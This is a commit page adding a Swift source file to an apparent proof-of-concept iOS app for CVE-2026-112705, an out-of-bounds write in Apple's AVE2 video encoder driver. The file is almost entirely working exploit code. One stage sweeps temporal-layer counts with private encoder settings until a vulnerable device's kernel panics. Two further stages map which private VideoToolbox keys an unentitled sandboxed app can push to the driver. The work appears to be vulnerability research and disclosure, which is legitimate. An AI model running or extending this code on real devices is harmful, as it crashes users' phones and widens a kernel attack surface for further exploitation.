AVE27 — standalone POC app for CVE-2026-112705 (AppleAVE2 NTL OOB write)

- All stages ported from MchinaMd57764/AVETemporalPoC (orig. Calif/Chollima):
  stage1-12, 20, 21, fuzz, SBE — launch-arg parity kept
- New: stage13 NTL threshold sweep, stage14 usage×rc acceptance matrix,
  stage15 private-key entitlement audit (23 keys)
- Panic journal: kern.boottime-based in-app panic evidence after reboot
- Interactive SwiftUI console + NTL field + report share; header shows
  PANIC-CAPABLE on iOS 27.0-27.1, FIXED BUILD on 27.2+
- App icon: temporal-layer stack, top layer displaced past the stack edge
- scripts/build-device.sh → unsigned arm64 IPA (iOS 17.0+)
This commit is contained in:
JBJF committed 2026-10-30 19:13:13 +08:00
commit bc019e2b6c
11 files changed
+1829

No files matched your search

+144
View File
@@ -0,0 +1,144 @@
// AVE27 · exploration stages — what lies beyond the panic
// stage13: NTL threshold sweep — maps the exact landing rung of the OOB write.
// stage14: EncoderUsage × RCMode matrix at a safe layer count — which private
// parameter combinations the driver accepts from a stock sandboxed app.
// stage15: private property key audit — the full acceptance surface of
// non-public VideoToolbox keys with no entitlement behind them.
// All three share the live.txt oracle; stage13 arms the panic journal per rung.
import Foundation
import VideoToolbox
import CoreMedia
import CoreVideo
extension Probe {
/// Stage 13: NTL threshold sweep, one session per rung, bottom-up.
/// On a vulnerable build the walk panics at the first landing rung — live.txt
/// ends on that rung and the panic journal proves it after the reboot.
/// On 27.2 the first rung past the cap returns -12900 at SetProperty and the
/// sweep stops clean: two disjoint, unambiguous signatures.
func stage13(lo: Int = 16450, hi: Int = 16470) {
emit("stage13 sweep \(lo)...\(hi) (bottom-up, one session per rung)")
for n in lo...hi {
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
emit("stage13(\(n)): no session"); return
}
let sUsage = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: 1))
let sRC = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: 20))
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString,
value: NSNumber(value: n))
if st != 0 {
emit("stage13 rung \(n): SetProperty refused (\(st)) — fixed-build cap reached")
VTCompressionSessionInvalidate(session)
break
}
var attrs: [CFString: Any] = [:]
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
var pb: CVPixelBuffer?
_ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
attrs as CFDictionary, &pb)
guard let pixel = pb else { emit("stage13(\(n)): no pixel"); return }
armJournal("stage13", ntl: n)
let pts = CMTime(value: CMTimeValue(0), timescale: 30)
let est = VTCompressionSessionEncodeFrame(
session, imageBuffer: pixel, presentationTimeStamp: pts,
duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in }
emit("stage13 rung \(n): usage=\(sUsage) rc=\(sRC) encode=\(est) readback: " +
readBack(session, "NumberOfTemporalLayers" as CFString))
VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid)
VTCompressionSessionInvalidate(session)
finishJournal()
if est != 0 { emit("stage13 rung \(n): encode refused (\(est)) — stopping sweep"); break }
}
emit("stage13 complete — device survived every rung")
}
/// Stage 14: EncoderUsage × RCMode matrix at a safe layer count (8). The panic
/// recipe is one cell of this grid; the rest maps which private mode selectors
/// the driver honours from an unentitled third-party process.
func stage14() {
let usages = [0, 1, 4, 8, 16]
let rcmodes = [0, 1, 8, 20, 22, 23]
emit("stage14 usage × rc matrix at NTL=8 (\(usages.count)×\(rcmodes.count) cells)")
for u in usages {
for rc in rcmodes {
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
emit("stage14 u\(u) r\(rc): no session"); return
}
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
let su = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: u))
let sr = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: rc))
let sn = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: 8))
var attrs: [CFString: Any] = [:]
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
var pb: CVPixelBuffer?
_ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
attrs as CFDictionary, &pb)
guard let pixel = pb else { emit("stage14: no pixel"); return }
let pts = CMTime(value: CMTimeValue(0), timescale: 30)
let est = VTCompressionSessionEncodeFrame(
session, imageBuffer: pixel, presentationTimeStamp: pts,
duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in }
VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid)
emit("stage14 u=\(u)(\(su)) rc=\(rc)(\(sr)) ntl(\(sn)) encode=\(est)")
VTCompressionSessionInvalidate(session)
}
}
emit("stage14 complete — acceptance matrix above")
}
/// Stage 15: private property key audit. Which non-public VideoToolbox keys a
/// stock, sandboxed, unentitled app can set on an Apple hardware encoder session —
/// the privilege surface beyond the crash. Accepted keys reach the kernel driver
/// through the same unvalidated property path the CVE lives in.
func stage15() {
// (key, probe value): numbers probe the scalar path, arrays the table path
let probes: [(String, Any)] = [
("EncoderUsage", NSNumber(value: 1)),
("RCMode", NSNumber(value: 20)),
("NumberOfTemporalLayers", NSNumber(value: 4)),
("NumOfTemporalLayer", NSNumber(value: 4)),
("NumOfGOPLayer", NSNumber(value: 2)),
("BaseLayerFrameRate", NSNumber(value: 15)),
("MCTFStrengthLevel", NSNumber(value: 3)),
("MCTFMaxNextRefNum", NSNumber(value: 2)),
("ChromaQPIndexOffsetMultiPPS", "0 0 0 0" as NSString),
("LRMERSPassNum", NSNumber(value: 1)),
("MultiReferencePSpacing", NSNumber(value: 3)),
("NumNegativePics", NSNumber(value: 4)),
("NumPositivePics", NSNumber(value: 0)),
("AbsDeltaRPSMinus1", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray),
("DeltaRPSSign", [NSNumber(value: 0), NSNumber(value: 0)] as CFArray),
("RPSData", [NSNumber(value: 1)] as CFArray),
("RPSInfo", [NSNumber(value: 1)] as CFArray),
("HEVCTemporalLevelInfoCombinations", [NSNumber(value: 1)] as CFArray),
("HEVCAuxiliaryLayerIDs", [NSNumber(value: 1), NSNumber(value: 2)] as CFArray),
("MVHEVCVideoLayerIDs", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray),
("EnableUserRefForFacetime", kCFBooleanTrue as Any),
("DPBRequirements", ["NumberOfFrames" as CFString: NSNumber(value: 2),
"AllocateRVRABuffers" as CFString: kCFBooleanFalse as Any] as CFDictionary),
("TemporalIDNestingFlag", NSNumber(value: 1)),
]
emit("stage15 private-key audit (\(probes.count) keys, unentitled sandboxed app)")
var accepted: [String] = []
for (key, value) in probes {
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
emit("stage15 \(key): no session"); return
}
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
let st = VTSessionSetProperty(session, key: key as CFString, value: value as CFTypeRef)
let rd = readBack(session, key as CFString)
emit("stage15 \(key) -> status=\(st) readback: \(rd)")
if st == 0 { accepted.append(key) }
VTCompressionSessionInvalidate(session)
}
emit("stage15 accepted-without-entitlement (\(accepted.count)/\(probes.count)): \(accepted.joined(separator: ", "))")
emit("stage15 complete — these keys reach the AppleAVE2 driver from a stock app")
}
}